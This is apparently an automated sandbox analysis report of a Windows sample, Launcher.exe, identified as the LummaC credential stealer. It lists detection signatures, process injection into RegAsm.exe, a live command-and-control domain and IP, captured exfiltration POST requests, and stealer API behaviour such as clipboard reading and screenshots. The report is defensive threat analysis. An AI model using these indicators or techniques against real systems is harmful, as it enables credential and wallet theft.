Edit tour

Windows Analysis Report
Launcher.exe

Overview

General Information

Sample name:	Launcher.exe
Analysis ID:	1483203
MD5:	eb703224c407d3d68b7fbd444cc2dfc3
SHA1:	2c11f4fd7e736ba67ba7a9e5f4e79f5c7c5edebe
SHA256:	f9544eee0a9c3a07cd8b5a912cdbc5c75252cd951709e409b53027310b3a969e
Tags:	exe
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Launcher.exe (PID: 6628 cmdline: "C:\Users\user\Desktop\Launcher.exe" MD5: EB703224C407D3D68B7FBD444CC2DFC3)

conhost.exe (PID: 6552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3868 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["kaminiasbbefow.shop"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T20:37:04.604918+0200
SID:	2048094
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T20:37:11.134815+0200
SID:	2054653
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T20:37:07.763651+0200
SID:	2843864
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T20:37:03.519551+0200
SID:	2048094
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T20:37:02.375727+0200
SID:	2054653
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T20:37:01.200358+0200
SID:	2054653
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.4

Timestamp:	2024-07-26T20:37:16.591630+0200
SID:	2022930
Source Port:	443
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Launcher.exe

Avira: detected

Found malware configuration

Source: 2.2.RegAsm.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["kaminiasbbefow.shop"]}

Multi AV Scanner detection for submitted file

Source: Launcher.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Launcher.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004168B0 CryptUnprotectData,

2_2_004168B0

Source: Launcher.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: Launcher.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_005185E9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_005185E9

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_00538160
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then inc ebx	0_2_005401A0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 077DEFCDh	0_2_00566270
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movsx ebx, byte ptr [edx]	0_2_0056432E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_00534410
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000820h]	0_2_0055049E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp eax	0_2_0054057E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_0053C5CE
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esi+38h]	0_2_0053C663
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov dword ptr [esi+20h], 00000000h	0_2_0053C663
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0054E600
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edi, ebx	0_2_0054A690
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp eax	0_2_005646B7
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000574h]	0_2_0055077B
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, dword ptr [esi+28h]	0_2_0055077B
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000088h]	0_2_00550703
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00550703
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edx], al	0_2_00552850
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 02286B4Eh	0_2_00566850
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi]	0_2_0054E82F
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, dword ptr [esi+28h]	0_2_005506FE
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edi, dword ptr [esi]	0_2_00562AA4
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 36E97270h	0_2_00566B80
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_0054AC10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp eax	0_2_0054ED8E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00552DA1
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00552DA1
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp eax	0_2_0053CE07
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00551B17
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0055AF60
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp word ptr [ebx+ebp+02h], 0000h	0_2_00546FE0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp word ptr [eax+02h], 0000h	0_2_0053F0DB
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_00545090
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov esi, dword ptr [esp]	0_2_0056521C
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then lea ebp, dword ptr [esp+03h]	0_2_0054F280
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp word ptr [eax+02h], 0000h	0_2_0053F373
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0054F630
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 7A96736Eh	0_2_00565780
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 0366CEDAh	0_2_00565950
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebp, ecx	0_2_0052F9D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	0_2_0053DA83
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	0_2_0053DA83
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], B5B385C7h	0_2_00565B00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_0052DB90
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0054DC10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	0_2_0055FCD0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov edx, dword ptr [esp+10h]	0_2_00533D60
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_00563D8C
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then cmp word ptr [edx+eax+02h], 0000h	0_2_0053FE47
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edi]	0_2_00561E70
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then jmp eax	0_2_0054DE26
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ebx, dword ptr [esp+40h]	0_2_0052DEF0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000100h]	0_2_0054FF40
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00533FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_0040A000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_00420800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_004241F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+38h]	2_2_00412253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+20h], 00000000h	2_2_00412253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00412253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000100h]	2_2_00425B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000820h]	2_2_00425B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000574h]	2_2_00425B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+28h]	2_2_00425B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000088h]	2_2_00425B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00425B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 0366CEDAh	2_2_0043B540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 077DEFCDh	2_2_0043BE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], B5B385C7h	2_2_0043B6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 36E97270h	2_2_0043C770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00415F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	2_2_004358C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+10h]	2_2_00409950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	2_2_00413972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	2_2_00413972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, edi	2_2_00407174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_0043997C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [eax+02h], 0000h	2_2_004149E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [eax+02h], 0000h	2_2_004149E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042319C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov esi, dword ptr [esp]	2_2_0043A9B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edi]	2_2_00437A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00423A16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00425220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edx+eax+02h], 0000h	2_2_00415A37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, ebx	2_2_00420280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00430B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00423361
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 7A96736Eh	2_2_0043B370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebx+ebp+02h], 0000h	2_2_0041CBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_00409BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_00428440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 02286B4Eh	2_2_0043C440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	2_2_0041AC80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0040DD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebp, ecx	2_2_004055C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov esi, dword ptr [esp]	2_2_0043AD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	2_2_00415D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea ebp, dword ptr [esp+03h]	2_2_00424E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	2_2_00413601
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	2_2_00413601
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	2_2_00411FEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	2_2_00403780

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: kaminiasbbefow.shop

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: kaminiasbbefow.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 57Host: kaminiasbbefow.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18173Host: kaminiasbbefow.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8794Host: kaminiasbbefow.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20447Host: kaminiasbbefow.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1265Host: kaminiasbbefow.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584140Host: kaminiasbbefow.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 92Host: kaminiasbbefow.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: kaminiasbbefow.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: kaminiasbbefow.shop

Source: RegAsm.exe, 00000002.00000002.1789089350.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kaminiasbbefow.shop/
Source: RegAsm.exe, 00000002.00000002.1789143913.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kaminiasbbefow.shop/)
Source: RegAsm.exe, 00000002.00000002.1789089350.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kaminiasbbefow.shop/C
Source: RegAsm.exe, 00000002.00000002.1789255980.0000000000A96000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1789702326.0000000002F3E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1789143913.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1789255980.0000000000AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kaminiasbbefow.shop/api
Source: RegAsm.exe, 00000002.00000002.1789143913.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kaminiasbbefow.shop/pi
Source: RegAsm.exe, 00000002.00000002.1789143913.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kaminiasbbefow.shop/re1j

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042D8C0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042D8C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042D8C0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042D8C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042E8E8 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_0042E8E8

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0054A4B6	0_2_0054A4B6
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00566530	0_2_00566530
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00566850	0_2_00566850
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00532870	0_2_00532870
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0052E8C0	0_2_0052E8C0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_005549DC	0_2_005549DC
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00530B30	0_2_00530B30
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0055CD20	0_2_0055CD20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0054CEB0	0_2_0054CEB0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00539270	0_2_00539270
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0052F2A0	0_2_0052F2A0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00533550	0_2_00533550
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_005177CA	0_2_005177CA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0054F8D0	0_2_0054F8D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0054B8E0	0_2_0054B8E0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00561E70	0_2_00561E70
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0052FE24	0_2_0052FE24
